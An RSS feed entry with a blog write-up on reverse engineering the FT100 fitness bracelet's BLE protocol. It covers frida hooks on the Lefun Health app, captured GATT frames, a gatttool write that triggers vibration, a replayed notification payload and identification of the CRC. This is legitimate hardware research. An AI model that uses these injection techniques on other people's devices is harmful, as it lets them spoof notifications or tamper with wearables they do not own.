<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0"
     xmlns:atom="http://www.w3.org/2005/Atom"
     xmlns:content="http://purl.org/rss/1.0/modules/content/"
     xmlns:media="http://search.yahoo.com/mrss/">
  <channel>

    <title>Hardware hacking on less on sec</title>
    <link>https://lessonsec.com/tags/hardware-hacking/</link>
    <description>
      Recent content in Hardware hackingon less on sec
    </description>

    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Thu, 12 Mar 2026 09:00:00 &#43;0200</lastBuildDate>
    <atom:link href="https://lessonsec.com/tags/hardware-hacking/index.xml" rel="self" type="application/rss&#43;xml" /><item>
        <title>Reversing the FT100 BLE Fitness Bracelet</title>
        <link>https://lessonsec.com/posts/reversing_the_ft100_ble_fitness_bracelet/</link>
        <guid isPermaLink="true">https://lessonsec.com/posts/reversing_the_ft100_ble_fitness_bracelet/</guid>
        <pubDate>Thu, 12 Mar 2026 09:00:00 &#43;0200</pubDate><description>The device The device is called FT100 Fitness Bracelet by TWENTYFIVESEVEN and it offers some basic features such as heart rate and blood pressure monitoring, step count, music control, notifications handling, a find device functionality, and OTA firmware update.</description>
	<content:encoded>&lt;h2 id=&#34;the-device&#34;&gt;The device&lt;/h2&gt;
&lt;p&gt;The device is called &lt;code&gt;FT100 Fitness Bracelet&lt;/code&gt; by &lt;code&gt;TWENTYFIVESEVEN&lt;/code&gt; and it offers some basic features such as heart rate and blood pressure monitoring, step count, music control, notifications handling, a find device functionality, and OTA firmware update.&lt;/p&gt;
&lt;p&gt;It features a display and a soft touch button, and it is possible to use the manufacturer&amp;rsquo;s app to configure the device via &lt;code&gt;BLE&lt;/code&gt; connection.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/ft100.jpg#center&#34; alt=&#34;FT100 Fitness Bracelet&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;FT100 Fitness Bracelet&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The watch features a &lt;code&gt;PHY6202&lt;/code&gt; MCU, &lt;code&gt;512Kb&lt;/code&gt; of ROM, &lt;code&gt;16Kb&lt;/code&gt; of RAM and a whopping 50mAh battery (that I promptly swapped with an external power supply as it was giving me troubles).&lt;/p&gt;
&lt;p&gt;The companion app &lt;code&gt;Lefun Health&lt;/code&gt; allows interaction with device&amp;rsquo;s functionalities. It offers &amp;ldquo;data aggregation&amp;rdquo; features such as recording sport activity or sleep quality. The app itself works ok-ish but it has frequent ads, it often asks for additional permissions and it tries to push to users some unrelated AI services made by Lefun. It&amp;rsquo;s not my favorite app, but it is good enough to work with.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/app.png#center&#34; alt=&#34;LeFun App&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Lefun App&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;What I&amp;rsquo;ll do in this article is try to instrument the android companion app to access BLE traffic between smartphone and our smartwatch to attempt reverse engineering the communication.&lt;/p&gt;
&lt;h2 id=&#34;sniffing-the-ble-traffic-with-frida&#34;&gt;Sniffing the BLE traffic with frida&lt;/h2&gt;
&lt;p&gt;In order to target the functionalities on the &lt;code&gt;FT100&lt;/code&gt; it is necessary to gain visibility of the BLE traffic exchanged between the phone and the bracelet. So we need to work toward that.&lt;/p&gt;
&lt;p&gt;To be completely fair, there are multiple ways that could be used to dump the BLE traffic in this exact situation, with android &lt;a href=&#34;https://source.android.com/docs/core/connect/bluetooth/verifying_debugging#debugging-with-logs&#34;&gt;HCI Snoop log&lt;/a&gt; being my usual choice. However I&amp;rsquo;ve been working on mobile applications a lot more recently, I&amp;rsquo;ve recently &lt;a href=&#34;https://mandomat.github.io/2026-02-04-speaking-the-language-of-wearables/&#34;&gt;checked out this article&lt;/a&gt; which uses a similar technique and I figured this project would be a nice way to get practice working with &lt;code&gt;frida&lt;/code&gt;, so I decided to go for this way.
This method could also come in handy when working on a non-rooted android device as usually there is no access to HCI logs, and a frida gadget could be patched into the apk, bypassing the need for root access.&lt;/p&gt;
&lt;p&gt;The first step here would be to perform a static analysis of the apk. Using &lt;code&gt;jadx&lt;/code&gt; I decompiled the apk and started digging for clues on the right point to hook into.&lt;/p&gt;
&lt;p&gt;During static analysis, the obvious first attempt was to look for and attempt hooking android default functions to handle BLE GATT events in &lt;a href=&#34;https://developer.android.com/reference/android/bluetooth/BluetoothGattCallback&#34;&gt;&lt;code&gt;BluetoothGattCallback&lt;/code&gt;&lt;/a&gt; class. Ideally we would need at least access to &lt;code&gt;onCharacteristicChanged()&lt;/code&gt; and &lt;code&gt;onCharacteristicWrite()&lt;/code&gt; to intercept characteristic writes and GATT notifications traffic. But simply hooking these functions I was only able to intercept traffic for writes.
After further analysis I realized the app was not using the base Android &lt;code&gt;BluetoothGattCallback&lt;/code&gt;, but instead some of these functions would be overridden by anonymous classes. So I needed to reliably hook the override implementations used at runtime in order to access incoming data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/overrides.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;The turning point was identifying &lt;code&gt;BluetoothDevice.connectGatt()&lt;/code&gt; as the universal entry point for every BLE connection. This method always receives the actual callback instance as an argument. By hooking all overloads of &lt;code&gt;connectGatt()&lt;/code&gt; and dynamically extracting the runtime callback class (&lt;code&gt;callback.$className&lt;/code&gt;), it became possible to hook the correct implementation of the target functions regardless of anonymous inner classes as observed in &lt;code&gt;jadx&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;var BluetoothDevice &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Java&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;android.bluetooth.BluetoothDevice&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;

    var hookedCallbacks &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{};&lt;/span&gt;

    BluetoothDevice&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;connectGatt&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;overloads&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;forEach&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;function &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;overload&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;

        overload&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;implementation&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; function &lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;

            logSection&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;connectGatt intercepted&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;

            &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;var i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; 0&lt;span style=&#34;color:#f92672&#34;&gt;;&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; arguments&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;;&lt;/span&gt; i&lt;span style=&#34;color:#f92672&#34;&gt;++)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
                console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;arg[&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;] = &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; arguments&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;i&lt;span style=&#34;color:#f92672&#34;&gt;]);&lt;/span&gt;
            &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;

            &lt;span style=&#34;color:#75715e&#34;&gt;// Callback is always argument index 2 in all overloads
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;            var callback &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; arguments&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;2&lt;span style=&#34;color:#f92672&#34;&gt;];&lt;/span&gt;

            &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;callback&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;

                var className &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; callback&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;$className&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;;&lt;/span&gt;
                console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;[+] Real callback class: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; className&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;

                hookGattCallback&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;className&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;
            &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;

            &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; overload&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;apply&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;,&lt;/span&gt; arguments&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;
        &lt;span style=&#34;color:#f92672&#34;&gt;};&lt;/span&gt;
    &lt;span style=&#34;color:#f92672&#34;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then inside the &lt;code&gt;hookGattCallback&lt;/code&gt; function each interesting function can be hooked explicitly like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Callback&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;onCharacteristicChanged&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
                Callback&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;onCharacteristicChanged&lt;/span&gt;
                    &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;overload&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;
                        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;android.bluetooth.BluetoothGatt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;,&lt;/span&gt;
                        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;android.bluetooth.BluetoothGattCharacteristic&amp;#34;&lt;/span&gt;
                    &lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
                    &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;implementation&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; function &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;gatt&lt;span style=&#34;color:#f92672&#34;&gt;,&lt;/span&gt; characteristic&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;

                        var value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; characteristic&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getValue&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;();&lt;/span&gt;

                        logSection&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;BLE RX (Notification)&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;
                        console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Device : &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; gatt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getDevice&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;().&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getAddress&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;());&lt;/span&gt;
                        console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Service: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; characteristic&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getService&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;().&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getUuid&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;());&lt;/span&gt;
                        console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Char   : &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; characteristic&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;getUuid&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;());&lt;/span&gt;
                        console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Data   : &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; bytesToHex&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;value&lt;span style=&#34;color:#f92672&#34;&gt;));&lt;/span&gt;
                        console&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ASCII  : &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; bytesToAscii&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;value&lt;span style=&#34;color:#f92672&#34;&gt;));&lt;/span&gt;

                        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;onCharacteristicChanged&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;gatt&lt;span style=&#34;color:#f92672&#34;&gt;,&lt;/span&gt; characteristic&lt;span style=&#34;color:#f92672&#34;&gt;);&lt;/span&gt;
                    &lt;span style=&#34;color:#f92672&#34;&gt;};&lt;/span&gt;
            &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this method it was possible to achieve full visibility over the BLE events including characteristic read and writes, as well as notifications. Now it&amp;rsquo;s time to analyze the protocol.&lt;/p&gt;
&lt;h2 id=&#34;gatt-traffic-overview&#34;&gt;GATT traffic overview&lt;/h2&gt;
&lt;p&gt;We can now check out the extracted data from the frida hooks and having access to &lt;code&gt;GATT&lt;/code&gt; level operations, we can start digging into the protocol. Now, if you&amp;rsquo;ve worked with BLE before you will surely know &lt;code&gt;GATT&lt;/code&gt; in more or less details, but if you don&amp;rsquo;t, feel free to check out this post on &lt;a href=&#34;https://lessonsec.com/posts/walkthrough-ble-ctf/&#34;&gt;solving BLE CTF on esp32&lt;/a&gt; I go through basics there.&lt;/p&gt;
&lt;p&gt;For the sake of clarity, let&amp;rsquo;s explicit that the stack we are working with looks something like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;App protocol
     ↓
GATT characteristic
     ↓
ATT packets
     ↓
BLE link
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the scope of the article, we may as well just consider App protocol and GATT characteristics.&lt;/p&gt;
&lt;p&gt;Picking out a few messages we can start figuring out what&amp;rsquo;s going on under the hood:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 05 31 01 bf
ASCII  : ..1..

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 05 06 00 a2
ASCII  : .....

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
BLE RX (Notification)
======================================
Device : C0:00:A1:A2:1F:04
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d00-0000-1000-8000-00805f9b34fb
Data   : 5a 09 06 00 00 a0 32 14 79 00 00 00 00 00 00 00 00 00 00 00
ASCII  : Z.....2.y...........
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From these few exchanges we can already tell a few things about the protocol: first off the protocol lives on top of service &lt;code&gt;000018d0-0000-1000-8000-00805f9b34fb&lt;/code&gt; which doesn&amp;rsquo;t appear to be a standard &lt;code&gt;GATT&lt;/code&gt; service.&lt;/p&gt;
&lt;p&gt;The app writes on char &lt;code&gt;00002d01-0000-1000-8000-00805f9b34fb&lt;/code&gt; (handle &lt;code&gt;0x002b&lt;/code&gt;) and the BLE notifications from the smart band are received on char &lt;code&gt;00002d00-0000-1000-8000-00805f9b34fb &lt;/code&gt;(handle  &lt;code&gt;0x002e&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We can also see that some commands from the app trigger a response from the device through a BLE notification, and some other don&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;In order to understand the semantics of the protocol, we need to observe some more traffic.
For brevity, char writes by the app will be marked as &lt;code&gt;TX&lt;/code&gt;, while BLE notifications from the smartband will be marked with &lt;code&gt;RX&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[TX] AB 05 56 01 8B
[TX] AB 05 E0 01 23
[TX] AB 0A 39 00 01 02 D0 06 40 23
[TX] AB 05 51 00 BB
[TX] AB 05 31 01 BF
[TX] AB 05 06 00 A2
[RX] 5A 09 06 00 00 A0 32 14 79 00 00 00 00 00 00 00 00 00 00 00
[TX] AB 04 00 0C
[RX] 5A 14 00 FF 27 14 F1 50 31 39 02 01 02 32 19 54 4A 44 50 16
[TX] AB 04 03 EE
[RX] 5A 05 03 23 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[TX] AB 04 70 F4
[TX] AB 05 22 00 58
[RX] 5A 07 22 00 1F FF 06 00 00 00 00 00 00 00 00 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Messages are tagged with an header depending on the direction of the communications, char writes from phone to device always have &lt;code&gt;0xAB&lt;/code&gt; header, while notifications have a &lt;code&gt;0x5A&lt;/code&gt; header. Additionally notifications always seem to be padded to 20 bytes (padding with zeros).&lt;/p&gt;
&lt;p&gt;The other bytes seem to have a straightforward meaning as well, the second byte is in fact the length of the message, while the third and fourth bytes seem to be command bytes (CMD, SUB-CMD).&lt;/p&gt;
&lt;h2 id=&#34;reversing-the-protocol&#34;&gt;Reversing the protocol&lt;/h2&gt;
&lt;p&gt;Now, we could start black box reversing from these messages, but it would be pretty hard to make progress, both because some messages don&amp;rsquo;t produce an observable result and because payloads and message sending is out of our control. It would be wise to start somewhere simpler and more controlled.&lt;/p&gt;
&lt;h3 id=&#34;find-my-device&#34;&gt;Find my device&lt;/h3&gt;
&lt;p&gt;From the app, it is possible to use the find my device functionality to have the smarband buzz three times to help the owner find it. This functionality seems straightforward, so for the time being, we can ignore other messages and we can try to intercept the find my device messages only:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 04 09 90
ASCII  : ....

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
BLE RX (Notification)
======================================
Device : C0:00:A1:A2:1F:04
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d00-0000-1000-8000-00805f9b34fb
Data   : 5a 05 09 01 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ASCII  : Z...................
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We see that the smartphone app writes payload &lt;code&gt;ab 04 09 90&lt;/code&gt; on the target service characteristic, it triggers the find my device behavior on the smartband.&lt;/p&gt;
&lt;p&gt;Surely enough, if we try on our own, connect to the smartwatch and write on characteristic &lt;code&gt;00002d01-0000-1000-8000-00805f9b34fb&lt;/code&gt; the value &lt;code&gt;ab 04 09 90&lt;/code&gt; we can trigger device vibration.&lt;/p&gt;
&lt;p&gt;This can be done quite simply with &lt;code&gt;gatttool -b [MAC] --char-write-req -a 0x002c -n ab040990&lt;/code&gt;.  (&lt;code&gt;gatttool&lt;/code&gt; is technically deprecated, but I was having issues with pairing using &lt;code&gt;bluetoothctl&lt;/code&gt;, so I figured it would be alright for quick testing).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NOTE: I wish I had a GIF of the device reacting to the command, but as I&amp;rsquo;m writing this article I just broke the device screen. My bad.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This was fun, but let&amp;rsquo;s dig deeper.&lt;/p&gt;
&lt;h3 id=&#34;notification-handling&#34;&gt;Notification handling&lt;/h3&gt;
&lt;p&gt;We can move on and reverse engineer how smartphone notifications are forwarded to the device. We can trigger android notifications on the smartphone and have the &lt;code&gt;Lefun&lt;/code&gt; app relay the notification to the smartband to observe the payloads.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 12 17 14 01 01 01 74 65 73 74 3a 20 74 65 73 74 67
ASCII  : .......test: testg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For this test, the notification is a whatsapp notification and the text shown on the screen is: &lt;code&gt;test: test&lt;/code&gt;.
We can see from the logs of our instrumented app that we see &lt;code&gt;ab121714010101746573743a207465737467&lt;/code&gt; payload written to the characteristic with handle &lt;code&gt;0x2c&lt;/code&gt;.  By converting it in ASCII we can see that the text payload is shared in cleartext as &lt;code&gt;746573743a2074657374&lt;/code&gt; is the hex for ASCII &lt;code&gt;test: test&lt;/code&gt;. Last byte looks suspicious and I&amp;rsquo;m sure it&amp;rsquo;s some kind of CRC, but we will figure this out later.&lt;/p&gt;
&lt;p&gt;Based on what we know, we can make an educated guess and suppose that the base message frame looks something like this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xAB&lt;/code&gt; (phone to device)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Length of the message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Command ID&lt;/td&gt;
&lt;td&gt;In case it is a &lt;code&gt;0x5A&lt;/code&gt; message, it mirrors the command byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;n..m&lt;/td&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;td&gt;Command payload (optional)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;last&lt;/td&gt;
&lt;td&gt;CRC&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This fits both the notification message format and the find device message format.&lt;/p&gt;
&lt;p&gt;Now, we can replay our notification countless time, but can we modify it? If we change the ASCII payload, we see that the smart band doesn&amp;rsquo;t react to the message anymore even adjusting the length byte.  And just like that, now it&amp;rsquo;s the perfect time to figure out the CRC.&lt;/p&gt;
&lt;p&gt;So we attempt using &lt;a href=&#34;https://reveng.sourceforge.io/&#34;&gt;reveng&lt;/a&gt; to understand which CRC we are working with and surely enough it gives us a result:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;./reveng -w 8 -s ab121714010101746573743a207465737467&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;width=8 poly=0x31 init=0x00 refin=true refout=true xorout=0x00 check=0xa1 residue=0x00 name=&amp;quot;CRC-8/MAXIM-DOW&amp;quot;&lt;/code&gt;&lt;/p&gt;
